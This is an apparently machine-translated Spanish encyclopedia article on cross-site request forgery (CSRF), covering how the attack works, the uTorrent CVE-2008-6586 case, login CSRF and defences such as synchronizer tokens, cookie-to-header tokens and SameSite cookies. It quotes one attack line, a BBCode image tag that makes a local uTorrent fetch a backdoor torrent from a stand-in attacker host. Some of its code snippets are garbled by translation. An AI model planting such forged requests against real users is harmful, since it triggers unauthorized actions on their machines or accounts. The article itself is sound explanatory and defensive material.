La falsificación de solicitudes entre sitios , también conocida como ataque con un solo clic o sesión montada y abreviada como CSRF (a veces pronunciada sea-surf [1] ) o XSRF , es un tipo de explotación maliciosa de un sitio web o aplicación web donde se envían comandos no autorizados. de un usuario en el que confía la aplicación web. [2] Hay muchas formas en que un sitio web malicioso puede transmitir dichos comandos; Las etiquetas de imagen especialmente diseñadas, los formularios ocultos y la recuperación de JavaScript o XMLHttpRequests, por ejemplo, pueden funcionar sin la interacción o incluso el conocimiento del usuario. A diferencia de los scripts entre sitios (XSS), que explotan la confianza que un usuario tiene en un sitio en particular, CSRF explota la confianza que un sitio tiene en el navegador de un usuario. [3] En un ataque CSRF, un atacante engaña a un usuario final inocente para que envíe una solicitud web que no era su intención. Esto puede provocar que se realicen acciones en el sitio web que pueden incluir la fuga involuntaria de datos del cliente o del servidor, el cambio del estado de la sesión o la manipulación de la cuenta de un usuario final.
El término "CSRF" también se utiliza como abreviatura en defensas contra ataques CSRF, como técnicas que utilizan datos de encabezado, datos de formulario o cookies, para probar y prevenir dichos ataques.
En un ataque CSRF, el objetivo del atacante es hacer que una víctima inocente envíe, sin saberlo, una solicitud web creada con fines malintencionados a un sitio web al que la víctima tiene acceso privilegiado. Esta solicitud web se puede diseñar para incluir parámetros de URL, cookies y otros datos que parezcan normales para el servidor web que procesa la solicitud. Están en riesgo las aplicaciones web que realizan acciones basadas en aportes de usuarios confiables y autenticados sin requerir que el usuario autorice (por ejemplo, a través de una ventana emergente de confirmación) la acción específica. Un usuario autenticado mediante una cookie guardada en su navegador web podría, sin saberlo, enviar una solicitud HTTP a un sitio que confía en el usuario y, por lo tanto, provocar una acción no deseada.
Una propiedad general de los navegadores web es que incluirán de forma automática e invisible cualquier cookie (incluidas las cookies de sesión y otras) utilizadas por un dominio determinado en cualquier solicitud web enviada a ese dominio. Esta propiedad es explotada por ataques CSRF. En el caso de que se engañe a un usuario para que envíe inadvertidamente una solicitud a través de su navegador, estas cookies incluidas automáticamente harán que la solicitud falsificada parezca real para el servidor web y realizará cualquier acción solicitada apropiadamente, incluida la devolución de datos, la manipulación del estado de la sesión o la realización de cambios en la cuenta de la víctima.
Para que un ataque CSRF funcione, un atacante debe identificar una solicitud web reproducible que ejecute una acción específica, como cambiar la contraseña de una cuenta en la página de destino. Una vez que se identifica dicha solicitud, se puede crear un enlace que genere esta solicitud maliciosa y ese enlace se puede incrustar en una página bajo el control del atacante. [1] [4] Este enlace puede colocarse de tal manera que ni siquiera sea necesario que la víctima haga clic en el enlace. Por ejemplo, puede estar incrustado dentro de una etiqueta de imagen html en un correo electrónico enviado a la víctima, que se cargará automáticamente cuando la víctima abra su correo electrónico. Una vez que la víctima haya hecho clic en el enlace, su navegador incluirá automáticamente las cookies utilizadas por ese sitio web y enviará la solicitud al servidor web. El servidor web no podrá identificar la falsificación porque la solicitud fue realizada por un usuario que inició sesión y envió todas las cookies necesarias.
La falsificación de solicitudes entre sitios es un ejemplo de un ataque adjunto confuso contra un navegador web porque un atacante con menos privilegios engaña al navegador web para que envíe una solicitud falsificada.
CSRF comúnmente tiene las siguientes características:
Las vulnerabilidades del token CSRF se conocen y, en algunos casos, se explotan desde 2001. [5] Debido a que se lleva a cabo desde la dirección IP del usuario , es posible que algunos registros de sitios web no tengan evidencia de CSRF. [2] Los exploits no se reportan lo suficiente, al menos públicamente, y en 2007 [6] había pocos ejemplos bien documentados:
En 2018 se llevaron a cabo nuevos ataques contra dispositivos habilitados para la web, incluidos intentos de cambiar la configuración DNS de los enrutadores. Algunos fabricantes de enrutadores lanzaron apresuradamente actualizaciones de firmware para mejorar la protección y recomendaron a los usuarios que cambiaran la configuración del enrutador para reducir el riesgo. Los detalles no fueron revelados, citando "razones obvias de seguridad". [10]
Los atacantes que pueden encontrar un enlace reproducible que ejecuta una acción específica en la página de destino mientras la víctima está conectada pueden incrustar dicho enlace en una página que controlan y engañar a la víctima para que la abra. [1] El enlace del portador del ataque puede colocarse en una ubicación que la víctima probablemente visite mientras inicia sesión en el sitio de destino (por ejemplo, un foro de discusión), o enviarse en un cuerpo de correo electrónico HTML o un archivo adjunto. Una vulnerabilidad CSRF real en uTorrent (CVE-2008-6586) aprovechó el hecho de que su consola web accesible en localhost :8080 permitía ejecutar acciones críticas utilizando una simple solicitud GET:
Los ataques se lanzaban colocando elementos de imágenes HTML maliciosos de acción automática en foros y correos no deseados , de modo que los navegadores que visitaban estas páginas las abrieran automáticamente, sin mucha acción por parte del usuario. Las personas que ejecutaban la versión vulnerable de uTorrent al mismo tiempo que abrían estas páginas eran susceptibles al ataque.
Los ataques CSRF que utilizan etiquetas de imágenes a menudo se realizan desde foros de Internet , donde los usuarios pueden publicar imágenes pero no JavaScript , por ejemplo usando BBCode :
[img] http://localhost:8080/gui/?action=add-url&s=http://evil.example.com/backdoor.torrent [/img]Al acceder al enlace de ataque a la aplicación uTorrent local en localhost:8080 , el navegador también siempre enviaría automáticamente las cookies existentes para ese dominio. Esta propiedad general de los navegadores web permite que los ataques CSRF exploten sus vulnerabilidades específicas y ejecuten acciones hostiles siempre que el usuario haya iniciado sesión en el sitio web de destino (en este ejemplo, la interfaz web local de uTorrent) en el momento del ataque.
En el ejemplo de uTorrent descrito anteriormente, el ataque se vio facilitado por el hecho de que la interfaz web de uTorrent utilizaba la solicitud GET para operaciones críticas de cambio de estado (cambiar credenciales, descargar un archivo, etc.), lo que RFC 2616 desaconseja explícitamente:
En particular, se ha establecido la convención de que los métodos GET y HEAD NO DEBEN tener la importancia de realizar una acción distinta a la recuperación. Estos métodos deberían considerarse "seguros". Esto permite a los agentes de usuario representar otros métodos, como POST, PUT y DELETE, de una manera especial, para que el usuario sea consciente del hecho de que se está solicitando una acción posiblemente insegura.
Debido a esta suposición, muchos mecanismos de prevención CSRF existentes en marcos web no cubrirán las solicitudes GET , sino que aplicarán la protección solo a los métodos HTTP que pretenden cambiar de estado. [11]
Un atacante puede falsificar una solicitud para que la víctima inicie sesión en un sitio web objetivo utilizando las credenciales del atacante; esto se conoce como inicio de sesión CSRF . Iniciar sesión CSRF hace posibles varios ataques novedosos; por ejemplo, un atacante puede iniciar sesión en el sitio con sus credenciales legítimas y ver información privada, como el historial de actividad, que se ha guardado en la cuenta. Este ataque ha sido demostrado contra Google [12] y Yahoo . [13]
Dependiendo del tipo, los métodos de solicitud HTTP varían en su susceptibilidad a los ataques CSRF (debido a las diferencias en su manejo por parte de los navegadores web ). Por tanto, las medidas de protección contra un ataque dependen del método de la solicitud HTTP.
field1=value1&field2=value2), el ataque CSRF se implementa fácilmente utilizando un formulario HTML simple y se deben aplicar medidas anti-CSRF.ENCTYPEun atributo; una solicitud falsa de este tipo se puede distinguir de las legítimas por text/plainel tipo de contenido, pero si esto no se aplica en el servidor, se puede ejecutar CSRF [14] [15]Access-Control-Allow-Origin: *el encabezado.Además, aunque normalmente se describe como un tipo de ataque estático, CSRF también puede construirse dinámicamente como parte de una carga útil para un ataque de secuencias de comandos entre sitios , como lo demuestra el gusano Samy , o construirse sobre la marcha a partir de información de sesión filtrada a través de contenido externo. y enviado a un objetivo como una URL maliciosa. Un atacante también podría enviar tokens CSRF a un cliente debido a la fijación de sesión u otras vulnerabilidades, o adivinarlos mediante un ataque de fuerza bruta, representados en una página maliciosa que genera miles de solicitudes fallidas. La clase de ataque "CSRF dinámico", o el uso de una carga útil por cliente para la falsificación de sesiones específicas, fue descrita [16] en 2009 por Nathan Hamiel y Shawn Moyer en BlackHat Briefings, [17] aunque la taxonomía aún no ha ganado terreno. adopción más amplia.
Oren Ofer presentó un nuevo vector para componer ataques CSRF dinámicos en una reunión del capítulo local de OWASP en enero de 2012: "AJAX Hammer - Dynamic CSRF". [18] [19]
Se han emitido métricas de gravedad para las vulnerabilidades del token CSRF que resultan en la ejecución remota de código con privilegios de root [20], así como una vulnerabilidad que puede comprometer un certificado raíz , lo que socavará por completo una infraestructura de clave pública . [21]
Deben suceder varias cosas para que la falsificación de solicitudes entre sitios tenga éxito:
El ataque es ciego: el atacante no puede ver lo que el sitio web objetivo envía a la víctima en respuesta a las solicitudes falsificadas, a menos que explote un script entre sitios u otro error en el sitio web objetivo. De manera similar, el atacante solo puede apuntar a cualquier enlace o enviar cualquier formulario que surja después de la solicitud falsificada inicial si esos enlaces o formularios posteriores son igualmente predecibles. ( Se pueden simular múltiples objetivos incluyendo varias imágenes en una página o usando JavaScript para introducir un retraso entre clics).
La mayoría de las técnicas de prevención CSRF funcionan incorporando datos de autenticación adicionales en las solicitudes que permiten que la aplicación web detecte solicitudes de ubicaciones no autorizadas.
El patrón de token de sincronización (STP) es una técnica en la que la aplicación web incrusta un token, un valor secreto y único para cada solicitud, en todos los formularios HTML y se verifica en el lado del servidor. El token puede generarse mediante cualquier método que garantice la imprevisibilidad y la unicidad (por ejemplo, utilizando una cadena hash de semilla aleatoria). Esto se denomina token antifalsificación en ASP.NET. Por lo tanto, el atacante no puede colocar un token correcto en sus solicitudes para autenticarlas. [1] [24] [25]
Ejemplo de STP establecido por Django en formato HTML:
< tipo de entrada = "oculto" nombre = "csrfmiddlewaretoken" valor = "KbyUmhTLMpYj7CD2di7JKP1P3qmLlkPt" /> STP es el más compatible ya que solo se basa en HTML, pero introduce cierta complejidad en el lado del servidor, debido a la carga asociada con la verificación de la validez del token en cada solicitud. Como el token es único e impredecible, también impone una secuencia adecuada de eventos (por ejemplo, pantalla 1, luego 2, luego 3), lo que plantea problemas de usabilidad (por ejemplo, el usuario abre varias pestañas). Se puede relajar usando un token CSRF por sesión en lugar de un token CSRF por solicitud.
Las aplicaciones web que utilizan JavaScript para la mayoría de sus operaciones pueden utilizar la siguiente técnica anti-CSRF:
Establecer cookies: __Host-csrf_token=i8XNjC4b8KVok4uw5RftR38Wgp2BFwql; Vence = jueves 23 de julio de 2015 a las 10:25:33 GMT; Edad máxima=31449600; Ruta=/; SameSite=Lax; Seguro
Token X-Csrf: i8XNjC4b8KVok4uw5RftR38Wgp2BFwql
La seguridad de esta técnica se basa en la suposición de que solo JavaScript que se ejecuta en el lado del cliente de una conexión HTTPS con el servidor que configuró inicialmente la cookie podrá leer el valor de la cookie. JavaScript que se ejecuta desde un archivo o correo electrónico no autorizado no debería poder leer correctamente el valor de la cookie para copiarlo en el encabezado personalizado. Aunque la cookie del token csrf puede enviarse automáticamente con la solicitud no autorizada, sujeto a la política de cookies de SameSite, el servidor seguirá esperando un encabezado X-Csrf-Token válido .
El token CSRF en sí debe ser único e impredecible. Puede generarse aleatoriamente o puede derivarse del token de sesión utilizando HMAC :
csrf_token = HMAC (token_sesión, secreto_aplicación)
La cookie de token CSRF no debe tener el indicador httpOnly , ya que está diseñada para ser leída por JavaScript .
Esta técnica es implementada por muchos frameworks modernos, como Django [26] y AngularJS . [27] Debido a que el token permanece constante durante toda la sesión del usuario, funciona bien con aplicaciones AJAX , pero no impone la secuencia de eventos en la aplicación web.
La protección proporcionada por esta técnica puede verse frustrada si el sitio web de destino desactiva su política del mismo origen mediante una de las siguientes técnicas:
De manera similar al enfoque de cookie a encabezado, pero sin involucrar JavaScript, un sitio puede configurar un token CSRF como una cookie y también insertarlo como un campo oculto en cada formulario HTML. Cuando se envía el formulario, el sitio puede verificar que el token de la cookie coincida con el token del formulario. La política del mismo origen impide que un atacante lea o establezca cookies en el dominio de destino, por lo que no puede colocar un token válido en su forma diseñada. [30]
La ventaja de esta técnica sobre el patrón Sincronizador es que no es necesario almacenar el token en el servidor.
Se puede incluir un atributo adicional "SameSite" cuando el servidor configura una cookie, indicando al navegador si desea adjuntar la cookie a las solicitudes entre sitios. Si este atributo se establece en "estricto", la cookie solo se enviará en solicitudes del mismo sitio, lo que hará que CSRF sea ineficaz. Sin embargo, esto requiere que el navegador reconozca e implemente correctamente el atributo. [31]
Las extensiones del navegador como RequestPolicy (para Mozilla Firefox ) o uMatrix (tanto para Firefox como para Google Chrome / Chromium ) pueden evitar CSRF al proporcionar una política de denegación predeterminada para solicitudes entre sitios. Sin embargo, esto puede interferir significativamente con el funcionamiento normal de muchos sitios web. La extensión CsFire (también para Firefox) puede mitigar el impacto de CSRF con menos impacto en la navegación normal, al eliminar la información de autenticación de las solicitudes entre sitios.
La extensión NoScript para Firefox mitiga las amenazas CSRF al distinguir los sitios confiables de los que no lo son y al eliminar la autenticación y las cargas útiles de las solicitudes POST enviadas por sitios que no son confiables a los confiables. El módulo Application Boundary Enforcer en NoScript también bloquea las solicitudes enviadas desde páginas de Internet a sitios locales (por ejemplo, localhost), evitando ataques CSRF a servicios locales (como uTorrent) o enrutadores.
La extensión Self Destructing Cookies para Firefox no protege directamente contra CSRF, pero puede reducir la ventana de ataque eliminando las cookies tan pronto como ya no estén asociadas con una pestaña abierta.
Históricamente se han utilizado o propuesto otras técnicas para la prevención de CSRF:
X-Requested-With(utilizados por Ruby on Rails antes de v2.0 y Django antes de v1.2.5), o verificar el Refererencabezado HTTP y/o Originel encabezado HTTP. [32]Referer para ver si la solicitud proviene de una página autorizada se usa comúnmente para dispositivos de red integrados porque no aumenta los requisitos de memoria. Sin embargo, una solicitud que omite el Refererencabezado debe considerarse no autorizada porque un atacante puede suprimir el Refererencabezado emitiendo solicitudes desde URL FTP o HTTPS. Esta Referervalidación estricta puede causar problemas con los navegadores o servidores proxy que omiten el Refererencabezado por motivos de privacidad. Además, las versiones antiguas de Flash (anteriores a la 9.0.18) permiten que Flash malicioso genere solicitudes GET o POST con encabezados de solicitud HTTP arbitrarios mediante inyección CRLF . [33] Se pueden utilizar vulnerabilidades de inyección CRLF similares en un cliente para falsificar el referente de una solicitud HTTP.<script>elementos ( secuestro de JavaScript ); también previene problemas (no relacionados con la seguridad) con rastreadores web agresivos y captura previa de enlaces . [1]Las vulnerabilidades de secuencias de comandos entre sitios (XSS) (incluso en otras aplicaciones que se ejecutan en el mismo dominio) permiten a los atacantes eludir esencialmente todas las prevenciones CSRF. [34]